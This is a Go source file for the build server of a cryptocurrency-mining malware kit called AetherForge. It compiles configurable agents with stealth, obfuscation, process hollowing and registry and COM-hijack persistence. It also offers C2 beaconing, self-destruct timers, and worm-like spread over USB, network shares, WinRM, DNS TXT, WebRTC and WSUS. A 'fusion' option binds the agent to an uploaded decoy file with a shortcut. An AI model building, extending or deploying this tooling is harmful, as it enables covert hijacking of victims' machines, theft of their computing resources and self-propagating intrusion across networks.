Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
1537 lines
47 KiB
Go
1537 lines
47 KiB
Go
package builder
|
||
|
||
import (
|
||
"context"
|
||
"encoding/json"
|
||
"fmt"
|
||
"io"
|
||
"log"
|
||
"mime/multipart"
|
||
"net/http"
|
||
"os"
|
||
"os/exec"
|
||
"path/filepath"
|
||
"strings"
|
||
"sync"
|
||
"time"
|
||
|
||
"crypto-miner-server/internal/alerts"
|
||
"crypto-miner-server/internal/db"
|
||
"crypto-miner-server/internal/models"
|
||
|
||
"github.com/go-chi/chi/v5"
|
||
"github.com/google/uuid"
|
||
)
|
||
|
||
type BuildRequest struct {
|
||
WorkerName string `json:"worker_name"`
|
||
ServerURL string `json:"server_url"`
|
||
BackupServerURLs []string `json:"backup_server_urls"`
|
||
Wallet string `json:"wallet"`
|
||
OutputDir string `json:"output_dir"`
|
||
Threads int `json:"threads"`
|
||
ThreadMode string `json:"thread_mode"`
|
||
ThreadPercent int `json:"thread_percent"`
|
||
CPUPriority string `json:"cpu_priority"`
|
||
MiningMode string `json:"mining_mode"`
|
||
MinerExecution string `json:"miner_execution"`
|
||
DisplayMode string `json:"display_mode"`
|
||
SilentMode bool `json:"silent_mode"`
|
||
RunAs string `json:"run_as"`
|
||
HostBinaryTarget string `json:"host_binary_target"`
|
||
AutoStart bool `json:"auto_start"`
|
||
AutostartMode string `json:"autostart_mode"`
|
||
RegistryPersistence string `json:"registry_persistence"`
|
||
RegistryRunHKCU bool `json:"registry_run_hkcu"`
|
||
RegistryRunHKLM bool `json:"registry_run_hklm"`
|
||
RegistryRunOnce bool `json:"registry_run_once"`
|
||
RegistryExplorerRun bool `json:"registry_explorer_run"`
|
||
Persistence bool `json:"persistence"`
|
||
ProcessName string `json:"process_name"`
|
||
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
||
MaxMemoryPct int `json:"max_memory_percent"`
|
||
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
||
IdleThresholdPct int `json:"idle_threshold_pct"`
|
||
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
||
ScheduleStart string `json:"schedule_start"`
|
||
ScheduleEnd string `json:"schedule_end"`
|
||
InstallBase string `json:"install_base"`
|
||
InstallCustomBase string `json:"install_custom_base"`
|
||
InstallRelativePath string `json:"install_relative_path"`
|
||
AdaptToHardware bool `json:"adapt_to_hardware"`
|
||
SelfHealing bool `json:"self_healing"`
|
||
FileLogging bool `json:"file_logging"`
|
||
StealthMode bool `json:"stealth_mode"`
|
||
FirewallExclusion bool `json:"firewall_exclusion"`
|
||
PoolHost string `json:"pool_host"`
|
||
PoolPort int `json:"pool_port"`
|
||
PoolTLS bool `json:"pool_tls"`
|
||
PoolPass string `json:"pool_pass"`
|
||
FusionEnabled bool `json:"fusion_enabled"`
|
||
FusionRunOrder string `json:"fusion_run_order"`
|
||
FusionOutputName string `json:"fusion_output_name"`
|
||
FusionPayloadKind string `json:"fusion_payload_kind"`
|
||
FusionMediaMode string `json:"fusion_media_mode"`
|
||
FusionMediaBaseName string `json:"fusion_media_base_name"`
|
||
FusionExportSubdir string `json:"fusion_export_subdir"`
|
||
// AI Autonomy (Ollama)
|
||
AIEnabled bool `json:"ai_enabled"`
|
||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||
AIModel string `json:"ai_model"`
|
||
ProcessHollowing bool `json:"process_hollowing"`
|
||
MeshP2P bool `json:"mesh_p2p"`
|
||
AutoSpread bool `json:"auto_spread"`
|
||
HolePunch bool `json:"hole_punch"`
|
||
RemoteAggressive bool `json:"remote_aggressive"`
|
||
USBSpread bool `json:"usb_spread"`
|
||
ShareSpread bool `json:"share_spread"`
|
||
WinRMSpread bool `json:"winrm_spread"`
|
||
DnsTxtSpread bool `json:"dns_txt_spread"`
|
||
WebRTCMeshSpread bool `json:"webrtc_mesh_spread"`
|
||
WSUSCachePeerSpread bool `json:"wsus_cache_peer_spread"`
|
||
COMHijackPersist bool `json:"com_hijack_persist"`
|
||
LinuxLOTLMode string `json:"linux_lotl_mode"`
|
||
TargetOS string `json:"target_os"`
|
||
TargetArch string `json:"target_arch"`
|
||
SpreadKit bool `json:"spread_kit"`
|
||
Obfuscate bool `json:"obfuscate"`
|
||
SigilScramble bool `json:"sigil_scramble"`
|
||
SignBuild bool `json:"sign_build"`
|
||
BackupPools []BackupPool `json:"backup_pools"`
|
||
// CancelToken is a client-generated UUID. Pass the same token to
|
||
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
|
||
CancelToken string `json:"cancel_token,omitempty"`
|
||
|
||
// GPU / Ravencoin mining
|
||
GPUEnabled bool `json:"gpu_enabled"`
|
||
RVNWallet string `json:"rvn_wallet"`
|
||
RVNPoolHost string `json:"rvn_pool_host"`
|
||
RVNPoolPort int `json:"rvn_pool_port"`
|
||
RVNPoolTLS bool `json:"rvn_pool_tls"`
|
||
RVNPoolPass string `json:"rvn_pool_pass"`
|
||
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
|
||
|
||
// Connection profile — C2 beacon timing and agent self-destruct
|
||
BeaconIntervalSec int `json:"beacon_interval_sec"`
|
||
BeaconJitterPct int `json:"beacon_jitter_pct"`
|
||
AgentKillAfterDays int `json:"agent_kill_after_days"`
|
||
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
|
||
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
|
||
|
||
// LOTL Onion — native-tool spread tier chain (AV-Safe adjacent preset).
|
||
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
|
||
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
||
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
||
}
|
||
|
||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||
type BackupPool struct {
|
||
Host string `json:"host"`
|
||
Port int `json:"port"`
|
||
TLS bool `json:"tls"`
|
||
Pass string `json:"pass"`
|
||
}
|
||
|
||
type BuildResponse struct {
|
||
Success bool `json:"success"`
|
||
BuildID string `json:"build_id,omitempty"`
|
||
FileName string `json:"file_name,omitempty"`
|
||
FilePath string `json:"file_path,omitempty"`
|
||
RelativePath string `json:"relative_path,omitempty"`
|
||
FileSize int64 `json:"file_size,omitempty"`
|
||
DownloadURL string `json:"download_url,omitempty"`
|
||
UninstallFileName string `json:"uninstall_file_name,omitempty"`
|
||
UninstallPath string `json:"uninstall_path,omitempty"`
|
||
UninstallDownloadURL string `json:"uninstall_download_url,omitempty"`
|
||
ExportPath string `json:"export_path,omitempty"`
|
||
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
|
||
FusionEnabled bool `json:"fusion_enabled,omitempty"`
|
||
FusionExportDir string `json:"fusion_export_dir,omitempty"`
|
||
ExtraFiles []BuildArtifactFile `json:"extra_files,omitempty"`
|
||
BundleFileName string `json:"bundle_file_name,omitempty"`
|
||
BundleDownloadURL string `json:"bundle_download_url,omitempty"`
|
||
BundleSize int64 `json:"bundle_size,omitempty"`
|
||
WorkerFile string `json:"worker_file,omitempty"`
|
||
Signed bool `json:"signed,omitempty"`
|
||
Obfuscated bool `json:"obfuscated,omitempty"`
|
||
SigilScramble bool `json:"sigil_scramble,omitempty"`
|
||
BinaryFingerprint string `json:"binary_fingerprint,omitempty"`
|
||
StealthScore int `json:"stealth_score,omitempty"`
|
||
Error string `json:"error,omitempty"`
|
||
}
|
||
|
||
type BuildArtifactFile struct {
|
||
FileName string `json:"file_name"`
|
||
FilePath string `json:"file_path,omitempty"`
|
||
}
|
||
|
||
// BuildProgress is returned by GET /builder/progress/{token} while a forge is running.
|
||
type BuildProgress struct {
|
||
Stage string `json:"stage"`
|
||
Pct int `json:"pct"`
|
||
}
|
||
|
||
func buildExtraFilesFromArtifacts(arts []BuildArtifactFile) []models.BuildExtraFile {
|
||
if len(arts) == 0 {
|
||
return nil
|
||
}
|
||
out := make([]models.BuildExtraFile, len(arts))
|
||
for i, a := range arts {
|
||
out[i] = models.BuildExtraFile{FileName: a.FileName, FilePath: a.FilePath}
|
||
}
|
||
return out
|
||
}
|
||
|
||
type Handler struct {
|
||
db *db.Database
|
||
dataDir string
|
||
agentSrcDir string
|
||
projectRoot string
|
||
goBinPath string
|
||
garblePath string
|
||
goWinresPath string
|
||
serverModDir string
|
||
policy BuildPolicy
|
||
fleetSecret string // injected from server config; baked into every forge output
|
||
eventNotifier *alerts.Notifier
|
||
|
||
// Active build cancellation — maps cancel_token → cancel func so the frontend
|
||
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
|
||
activeCancelsMu sync.Mutex
|
||
activeCancels map[string]context.CancelFunc
|
||
|
||
// Real-time build progress — maps cancel_token → current stage so the frontend
|
||
// can poll GET /api/v1/builder/progress/{token} instead of running a fake timer.
|
||
activeProgressMu sync.RWMutex
|
||
activeProgress map[string]BuildProgress
|
||
}
|
||
|
||
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
|
||
func (h *Handler) SetFleetSecret(secret string) {
|
||
h.fleetSecret = secret
|
||
}
|
||
|
||
func (h *Handler) SetEventNotifier(n *alerts.Notifier) {
|
||
h.eventNotifier = n
|
||
}
|
||
|
||
func (h *Handler) notifyBuildComplete(fileName, workerName string, sizeBytes int64) {
|
||
if h.eventNotifier == nil {
|
||
return
|
||
}
|
||
sizeMB := float64(sizeBytes) / 1024 / 1024
|
||
h.eventNotifier.Emit(alerts.EventBuildComplete, "AetherForge forge",
|
||
fmt.Sprintf("%s ready (%.1f MB) — %s", fileName, sizeMB, workerName))
|
||
}
|
||
|
||
// CancelBuild cancels an in-progress build identified by cancelToken.
|
||
// Returns true if the token was found and cancelled, false if unknown.
|
||
func (h *Handler) CancelBuild(cancelToken string) bool {
|
||
h.activeCancelsMu.Lock()
|
||
cancel, ok := h.activeCancels[cancelToken]
|
||
h.activeCancelsMu.Unlock()
|
||
if ok {
|
||
cancel()
|
||
}
|
||
return ok
|
||
}
|
||
|
||
func (h *Handler) registerCancel(token string, cancel context.CancelFunc) {
|
||
h.activeCancelsMu.Lock()
|
||
if h.activeCancels == nil {
|
||
h.activeCancels = make(map[string]context.CancelFunc)
|
||
}
|
||
h.activeCancels[token] = cancel
|
||
h.activeCancelsMu.Unlock()
|
||
}
|
||
|
||
func (h *Handler) unregisterCancel(token string) {
|
||
if token == "" {
|
||
return
|
||
}
|
||
h.activeCancelsMu.Lock()
|
||
delete(h.activeCancels, token)
|
||
h.activeCancelsMu.Unlock()
|
||
}
|
||
|
||
// setProgress records the current forge stage so the frontend can poll it.
|
||
func (h *Handler) setProgress(token, stage string, pct int) {
|
||
if token == "" {
|
||
return
|
||
}
|
||
h.activeProgressMu.Lock()
|
||
if h.activeProgress == nil {
|
||
h.activeProgress = make(map[string]BuildProgress)
|
||
}
|
||
h.activeProgress[token] = BuildProgress{Stage: stage, Pct: pct}
|
||
h.activeProgressMu.Unlock()
|
||
}
|
||
|
||
func (h *Handler) clearProgress(token string) {
|
||
if token == "" {
|
||
return
|
||
}
|
||
h.activeProgressMu.Lock()
|
||
delete(h.activeProgress, token)
|
||
h.activeProgressMu.Unlock()
|
||
}
|
||
|
||
// ServeProgress returns the current build stage for a running forge identified by its cancel token.
|
||
// The frontend polls this every second to drive a real progress bar instead of a client-side simulation.
|
||
func (h *Handler) ServeProgress(w http.ResponseWriter, r *http.Request) {
|
||
token := chi.URLParam(r, "token")
|
||
if token == "" {
|
||
http.Error(w, "token required", http.StatusBadRequest)
|
||
return
|
||
}
|
||
h.activeProgressMu.RLock()
|
||
prog, ok := h.activeProgress[token]
|
||
h.activeProgressMu.RUnlock()
|
||
if !ok {
|
||
writeJSON(w, http.StatusNotFound, BuildProgress{Stage: "", Pct: 0})
|
||
return
|
||
}
|
||
writeJSON(w, http.StatusOK, prog)
|
||
}
|
||
|
||
type SignPolicy struct {
|
||
Enabled bool `json:"enabled"`
|
||
CertThumbprint string `json:"cert_thumbprint"`
|
||
ToolPath string `json:"tool_path"`
|
||
TimestampURL string `json:"timestamp_url"`
|
||
}
|
||
|
||
type BuildPolicy struct {
|
||
StrictWalletValidation bool
|
||
MaxBuildSizeMB int
|
||
DefaultObfuscate bool
|
||
Sign SignPolicy
|
||
}
|
||
|
||
func (h *Handler) SetBuildPolicy(p BuildPolicy) {
|
||
h.policy = p
|
||
}
|
||
|
||
// SetGoBinPath overrides the go toolchain binary used for forge compiles.
|
||
func (h *Handler) SetGoBinPath(path string) {
|
||
if strings.TrimSpace(path) != "" {
|
||
h.goBinPath = path
|
||
}
|
||
}
|
||
|
||
func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
|
||
goBin := "go"
|
||
if _, err := exec.LookPath("go"); err == nil {
|
||
goBin = "go"
|
||
}
|
||
h := &Handler{
|
||
db: database,
|
||
dataDir: dataDir,
|
||
agentSrcDir: agentSrcDir,
|
||
projectRoot: projectRoot,
|
||
goBinPath: goBin,
|
||
}
|
||
h.resolveToolPaths(projectRoot)
|
||
return h
|
||
}
|
||
|
||
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||
if r.Method != http.MethodPost {
|
||
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
||
return
|
||
}
|
||
|
||
var req BuildRequest
|
||
var prepPath string
|
||
var cleanupPrep func()
|
||
|
||
contentType := r.Header.Get("Content-Type")
|
||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||
if err := r.ParseMultipartForm(multipartMaxMemory); err != nil {
|
||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
|
||
return
|
||
}
|
||
configJSON := r.FormValue("config")
|
||
if configJSON == "" {
|
||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Missing config field"})
|
||
return
|
||
}
|
||
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
|
||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid config JSON"})
|
||
return
|
||
}
|
||
file, header, err := r.FormFile("prep_exe")
|
||
if req.FusionEnabled {
|
||
if err != nil {
|
||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
|
||
return
|
||
}
|
||
defer file.Close()
|
||
if req.FusionMediaBaseName == "" && header.Filename != "" {
|
||
req.FusionMediaBaseName = header.Filename
|
||
}
|
||
if req.FusionOutputName == "" && header.Filename != "" {
|
||
req.FusionOutputName = header.Filename
|
||
}
|
||
if req.FusionPayloadKind == "" {
|
||
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
|
||
}
|
||
saved, remove, err := h.saveUploadedFusionPayload(file, header)
|
||
if err != nil {
|
||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||
return
|
||
}
|
||
prepPath = saved
|
||
cleanupPrep = remove
|
||
} else if err == nil {
|
||
file.Close()
|
||
}
|
||
} else {
|
||
r.Body = http.MaxBytesReader(w, r.Body, 512<<10) // 512 KiB max for JSON-only builds
|
||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
|
||
return
|
||
}
|
||
}
|
||
|
||
if cleanupPrep != nil {
|
||
defer cleanupPrep()
|
||
}
|
||
|
||
if err := h.normalizeRequest(&req); err != nil {
|
||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||
return
|
||
}
|
||
if req.FusionEnabled && prepPath == "" {
|
||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"})
|
||
return
|
||
}
|
||
|
||
// Register cancel token so the frontend can abort this compile mid-flight.
|
||
// The ctx is threaded all the way down to exec.CommandContext, so cancellation
|
||
// immediately sends SIGKILL to the running go/garble process.
|
||
ctx := r.Context()
|
||
if req.CancelToken != "" {
|
||
var cancelFn context.CancelFunc
|
||
ctx, cancelFn = context.WithCancel(ctx)
|
||
h.registerCancel(req.CancelToken, cancelFn)
|
||
defer h.unregisterCancel(req.CancelToken)
|
||
defer h.clearProgress(req.CancelToken)
|
||
}
|
||
|
||
// FusionOutputName will be derived from the payload filename if not set
|
||
resp, status, outputPath := h.buildAgent(ctx, &req, prepPath)
|
||
if !resp.Success {
|
||
writeJSON(w, status, resp)
|
||
return
|
||
}
|
||
|
||
if h.db != nil {
|
||
user := ""
|
||
if u, _, ok := r.BasicAuth(); ok {
|
||
user = u
|
||
}
|
||
_ = h.db.InsertAudit(user, "forge_build", "", map[string]string{
|
||
"build_id": resp.BuildID, "worker_name": req.WorkerName, "file_name": resp.FileName,
|
||
})
|
||
}
|
||
|
||
if r.URL.Query().Get("download") == "1" {
|
||
w.Header().Set("Content-Type", "application/octet-stream")
|
||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
|
||
http.ServeFile(w, r, outputPath)
|
||
return
|
||
}
|
||
|
||
writeJSON(w, http.StatusOK, resp)
|
||
}
|
||
|
||
func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
|
||
if r.Method != http.MethodPost {
|
||
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
||
return
|
||
}
|
||
|
||
var req BuildRequest
|
||
var prepPath string
|
||
var prepSize int64
|
||
var prepName string
|
||
var cleanupPrep func()
|
||
|
||
contentType := r.Header.Get("Content-Type")
|
||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||
if err := r.ParseMultipartForm(multipartMaxMemory); err != nil {
|
||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
|
||
return
|
||
}
|
||
configJSON := r.FormValue("config")
|
||
if configJSON == "" {
|
||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Missing config field"})
|
||
return
|
||
}
|
||
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
|
||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid config JSON"})
|
||
return
|
||
}
|
||
file, header, err := r.FormFile("prep_exe")
|
||
if err != nil {
|
||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires prep_exe upload"})
|
||
return
|
||
}
|
||
defer file.Close()
|
||
if header != nil {
|
||
prepSize = header.Size
|
||
prepName = header.Filename
|
||
}
|
||
if req.FusionPayloadKind == "" {
|
||
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
|
||
}
|
||
saved, remove, err := h.saveUploadedFusionPayload(file, header)
|
||
if err != nil {
|
||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
||
return
|
||
}
|
||
prepPath = saved
|
||
cleanupPrep = remove
|
||
} else {
|
||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires multipart prep_exe upload"})
|
||
return
|
||
}
|
||
|
||
if cleanupPrep != nil {
|
||
defer cleanupPrep()
|
||
}
|
||
|
||
if err := h.normalizeRequest(&req); err != nil {
|
||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
||
return
|
||
}
|
||
if !req.FusionEnabled {
|
||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion must be enabled for estimate"})
|
||
return
|
||
}
|
||
if req.FusionOutputName == "" && prepName != "" {
|
||
req.FusionOutputName = prepName
|
||
}
|
||
|
||
est := h.estimateFusionBuild(&req, prepPath, prepSize, prepName)
|
||
writeJSON(w, http.StatusOK, est)
|
||
}
|
||
|
||
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
||
buildID := chi.URLParam(r, "id")
|
||
build, err := h.db.GetBuild(buildID)
|
||
if err != nil {
|
||
http.Error(w, "Build not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
if _, err := os.Stat(build.FilePath); err != nil {
|
||
http.Error(w, "Build file missing", http.StatusNotFound)
|
||
return
|
||
}
|
||
w.Header().Set("Content-Type", "application/octet-stream")
|
||
dlName := strings.TrimSpace(build.FileName)
|
||
if dlName == "" {
|
||
dlName = filepath.Base(build.FilePath)
|
||
}
|
||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, dlName))
|
||
http.ServeFile(w, r, build.FilePath)
|
||
}
|
||
|
||
func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
|
||
buildID := chi.URLParam(r, "id")
|
||
if _, err := h.db.GetBuild(buildID); err != nil {
|
||
http.Error(w, "Build not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
name := sanitizeFileName(chi.URLParam(r, "name"))
|
||
if name == "" || strings.Contains(name, "..") {
|
||
http.Error(w, "Invalid artifact name", http.StatusBadRequest)
|
||
return
|
||
}
|
||
buildDir := filepath.Join(h.dataDir, "builds", buildID)
|
||
path, err := safePathUnderRoot(buildDir, name)
|
||
if err != nil {
|
||
if title := strings.TrimSpace(r.URL.Query().Get("export_dir")); title != "" {
|
||
title = sanitizeFileName(filepath.Base(title))
|
||
deliverablesRoot := filepath.Join(h.projectRoot, FusionDeliverablesDir)
|
||
path, err = safePathUnderRoot(filepath.Join(deliverablesRoot, title), name)
|
||
}
|
||
}
|
||
if err != nil {
|
||
http.Error(w, "Artifact not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
if _, err := os.Stat(path); err != nil {
|
||
http.Error(w, "Artifact not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
w.Header().Set("Content-Type", "application/octet-stream")
|
||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
|
||
http.ServeFile(w, r, path)
|
||
}
|
||
|
||
func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
||
buildID := chi.URLParam(r, "id")
|
||
build, err := h.db.GetBuild(buildID)
|
||
if err != nil {
|
||
http.Error(w, "Build not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
// Uninstall script lives in buildDir (builds/<id>/), NOT in the platform
|
||
// sub-directory where the binary lives (builds/<id>/windows-amd64/).
|
||
// Compute directly from dataDir + buildID to avoid path-stripping mistakes.
|
||
buildDir := filepath.Join(h.dataDir, "builds", buildID)
|
||
uninstallPath := filepath.Join(buildDir, fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName)))
|
||
if _, err := os.Stat(uninstallPath); err != nil {
|
||
http.Error(w, "Uninstall script missing", http.StatusNotFound)
|
||
return
|
||
}
|
||
w.Header().Set("Content-Type", "application/octet-stream")
|
||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(uninstallPath)))
|
||
http.ServeFile(w, r, uninstallPath)
|
||
}
|
||
|
||
func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
|
||
return h.buildUniversalAgent(ctx, req, prepPath)
|
||
}
|
||
|
||
buildID := uuid.New().String()
|
||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||
agentDir := filepath.Join(buildDir, "agent")
|
||
|
||
// cleanupBuild removes the build directory on any error path to avoid
|
||
// accumulating partial builds (which may contain uploaded payloads or
|
||
// a copy of the agent source tree).
|
||
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
|
||
|
||
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
||
}
|
||
|
||
h.setProgress(req.CancelToken, "Copying source files", 5)
|
||
if err := h.copyAgentSource(agentDir); err != nil {
|
||
cleanupBuild()
|
||
log.Printf("Failed to copy agent source: %v", err)
|
||
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
||
}
|
||
|
||
h.setProgress(req.CancelToken, "Configuring build", 14)
|
||
configDir := filepath.Join(agentDir, "config")
|
||
if err := os.MkdirAll(configDir, 0755); err != nil {
|
||
cleanupBuild()
|
||
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
|
||
}
|
||
|
||
platforms := platformsForRequest(req)
|
||
p := platforms[0]
|
||
h.setProgress(req.CancelToken, "Compiling agent", 20)
|
||
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||
if err != nil {
|
||
cleanupBuild()
|
||
log.Printf("Build failed: %v", err)
|
||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||
}
|
||
h.setProgress(req.CancelToken, "Compiled — linking output", 72)
|
||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||
workerName := filepath.Base(outputPath)
|
||
finalPath := outputPath
|
||
finalName := workerName
|
||
var fusionEnabled bool
|
||
|
||
h.setProgress(req.CancelToken, "Writing scripts", 76)
|
||
uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
|
||
if err != nil {
|
||
cleanupBuild()
|
||
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
|
||
}
|
||
|
||
var extraArtifacts []BuildArtifactFile
|
||
var fusionRes *fusionBuildResult
|
||
if req.FusionEnabled {
|
||
if req.FusionPayloadKind == "" {
|
||
req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
|
||
}
|
||
h.setProgress(req.CancelToken, "Building fusion bundle", 80)
|
||
var err error
|
||
fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req)
|
||
if err != nil {
|
||
cleanupBuild()
|
||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||
}
|
||
h.setProgress(req.CancelToken, "Fusion bundle ready", 88)
|
||
finalPath = fusionRes.LauncherPath
|
||
finalName = filepath.Base(finalPath)
|
||
fusionEnabled = true
|
||
if fusionRes.EncryptedPath != "" {
|
||
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
|
||
FileName: filepath.Base(fusionRes.EncryptedPath),
|
||
FilePath: fusionRes.EncryptedPath,
|
||
})
|
||
}
|
||
if fusionRes.ShortcutPath != "" {
|
||
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
|
||
FileName: filepath.Base(fusionRes.ShortcutPath),
|
||
FilePath: fusionRes.ShortcutPath,
|
||
})
|
||
}
|
||
}
|
||
|
||
var fusionExportDir string
|
||
var bundleFileName string
|
||
var bundleDownloadURL string
|
||
var bundleSize int64
|
||
exportPath := ""
|
||
if fusionEnabled {
|
||
exportLabel := req.FusionMediaBaseName
|
||
if exportLabel == "" {
|
||
exportLabel = filepath.Base(prepPath)
|
||
}
|
||
arts := map[string]string{finalName: finalPath}
|
||
for _, ex := range extraArtifacts {
|
||
arts[ex.FileName] = ex.FilePath
|
||
}
|
||
// In paired mode the runner looks for the payload file next to (or above) the binary.
|
||
// Include it in the deliverable so the ZIP is self-contained without needing the
|
||
// user to place the file themselves.
|
||
if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" {
|
||
arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath
|
||
}
|
||
subdir := fusionExportSubdir(req, exportLabel)
|
||
readme := fusionReadmeInfo{
|
||
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
|
||
RunnerName: finalName,
|
||
MediaName: filepath.Base(exportLabel),
|
||
PayloadKind: req.FusionPayloadKind,
|
||
MediaMode: req.FusionMediaMode,
|
||
}
|
||
if readme.Title == "" {
|
||
readme.Title = sanitizeFileName(req.WorkerName)
|
||
}
|
||
dir, err := h.publishFusionDeliverable(subdir, arts, readme)
|
||
if err != nil {
|
||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||
}
|
||
fusionExportDir = dir
|
||
exportPath = filepath.Join(dir, finalName)
|
||
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
|
||
FileName: "README.txt",
|
||
FilePath: filepath.Join(dir, "README.txt"),
|
||
})
|
||
for i := range extraArtifacts {
|
||
if extraArtifacts[i].FileName != "README.txt" {
|
||
extraArtifacts[i].FilePath = filepath.Join(dir, extraArtifacts[i].FileName)
|
||
}
|
||
}
|
||
|
||
bundleFileName = fusionBundleZipName(subdir)
|
||
bundleBuildPath := filepath.Join(buildDir, bundleFileName)
|
||
if err := zipDirectory(dir, bundleBuildPath); err != nil {
|
||
return BuildResponse{Success: false, Error: "Failed to create package zip: " + err.Error()}, http.StatusInternalServerError, ""
|
||
}
|
||
_ = copyFile(bundleBuildPath, filepath.Join(dir, bundleFileName))
|
||
if st, err := os.Stat(bundleBuildPath); err == nil {
|
||
bundleSize = st.Size()
|
||
}
|
||
bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName)
|
||
} else {
|
||
h.setProgress(req.CancelToken, "Publishing build", 91)
|
||
var err error
|
||
exportPath, err = h.publishRootExecutable(finalPath, finalName)
|
||
if err != nil {
|
||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||
}
|
||
}
|
||
if exportPath == "" {
|
||
exportPath, _ = filepath.Abs(finalPath)
|
||
}
|
||
if strings.TrimSpace(req.OutputDir) != "" {
|
||
if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
|
||
log.Printf("[Builder] secondary export: %v", err)
|
||
} else {
|
||
_ = eu
|
||
if exportPath == "" {
|
||
exportPath = ep
|
||
}
|
||
}
|
||
}
|
||
|
||
